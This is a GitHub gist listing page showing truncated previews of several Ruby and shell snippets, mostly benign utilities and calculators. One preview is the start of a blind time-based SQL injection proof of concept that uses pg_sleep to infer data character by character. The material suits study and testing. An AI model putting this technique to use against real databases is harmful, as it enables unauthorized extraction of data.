Skip to content

Instantly share code, notes, and snippets.

View sahidursuman's full-sized avatar

Sahidur Rahman Suman sahidursuman

View GitHub Profile
@sahidursuman
sahidursuman / parser.rb
Created May 31, 2018 08:56 — forked from derwiki/parser.rb
Using `parser` to look for `Resque.enqueue` calls inside a `ActiveRecord::Base.transaction` block.
require 'parser/current'
class Processor < AST::Processor
attr_accessor :verbose
def initialize(*args)
super
self.verbose = false
end
@sahidursuman
sahidursuman / blind-sql-time-based-attack.rb
Created May 31, 2018 08:55 — forked from derwiki/blind-sql-time-based-attack.rb
Blind time-based SQL injection attack, proof of concept (with PgHero)
# More information available at https://www.owasp.org/index.php/Blind_SQL_Injection
POSITIVE_DELAY = 2
CHARS = ('A'..'Z').to_a + ('a'..'z').to_a + ('0'..'9').to_a
def query(table, field, id, char, pos)
%Q[SELECT CASE WHEN substr(#{field}, #{pos}, 1) = \'#{char}\' THEN pg_sleep(#{POSITIVE_DELAY}) ELSE NULL END FROM #{table} WHERE id = #{id} ;]
end
def timeit
@sahidursuman
sahidursuman / historical_housing_prices_analyzer.rb
Created May 31, 2018 08:55 — forked from derwiki/historical_housing_prices_analyzer.rb
Using historical housing price data for an area, determine the minimum appreciation for every year interval
prices = [
247901,
313230,
362438,
361772,
345520,
338346,
329087,
328406,
342284,
@sahidursuman
sahidursuman / mortgage_overpay_calculator.rb
Created May 31, 2018 08:55 — forked from derwiki/mortgage_overpay_calculator.rb
How does overpaying your mortgage affect equity earned over 7 years?
PROPERTY_TAX_RATE = 0.015
home_value = 1_000_000.0
deposit = 500_000
#loan_amount = home_value - deposit
yearly_property_tax = home_value * PROPERTY_TAX_RATE
monthly_property_tax = yearly_property_tax / 12.0
monthly_property_tax_adjustment = monthly_property_tax * 0.36
principal = 500_000.0
monthly_interest_rate = 0.03 / 12
@sahidursuman
sahidursuman / google_cloud_vision_ocr_pdf_service.rb
Created May 31, 2018 08:54 — forked from derwiki/google_cloud_vision_ocr_pdf_service.rb
`GoogleCloudVision::OcrPdfService.new('path/to/document.pdf').perform` yields each page's text.
require 'google/cloud/vision'
def log(s); puts s; end
module GoogleCloudVision
class OcrPdfService
attr_accessor :pdf_filename
def initialize(pdf_filename)
fail "GOOGLE_CLOUD_KEYFILE env variable required" unless ENV['GOOGLE_CLOUD_KEYFILE']
@sahidursuman
sahidursuman / backup.sh
Created May 31, 2018 08:54 — forked from derwiki/backup.sh
Simple and efficient mirroring of two hard drives using `rsync`.
# These commands are to be run in different tmux panes to quickly copy the
# contents of one hard drive to another. `rsync` is used for it's robustness,
# interruptibility, and efficiency in incremental updates.
#
# After the initial clone, the same `rsync` command can be run to copy just the
# new/changed files from source to target.
# tmux pane 1
rsync --partial -a /Volumes/ushuaia/ /Volumes/amsterdam/
@sahidursuman
sahidursuman / sum.rb
Created May 29, 2018 10:22 — forked from ProfAvery/sum.rb
15 ways to sum an array in Ruby
#!/usr/bin/env ruby
require 'test/unit'
class TestSums < Test::Unit::TestCase
def setup
@a = [2, 5, 18, 27]
@sum = 0
end
def update_tree(options = {}, &block)
authorize!(action_name.to_sym, resource_class)
parent_id = params[:parent_id]
# check that parent shoud by node which is visible for the user.
authorize!(:list, params[:parent_id])
err_exit = proc { |r|
render json: {
@sahidursuman
sahidursuman / helper.rb
Created May 17, 2018 10:09 — forked from manfe/helper.rb
Rails Helper to build Hierachical HTML List
module TreeListHelper
# the collection need to be the root parents
def tree_list(collection)
content_tag(:ul) do
collection.each do |item|
if item.children.any?
concat(
content_tag(:li, id: item.id) do
concat(item.name)
concat(tree_list(item.children))
@sahidursuman
sahidursuman / matrix.rb
Created May 15, 2018 06:31 — forked from d7om/matrix.rb
Example of how use matrix class in ruby
require 'matrix'
require 'pp'
# This is how you can define new matrix
a = Matrix[ [1,2], [3,4]]
b = Matrix[ [4,3], [2,1]]
pp a
pp b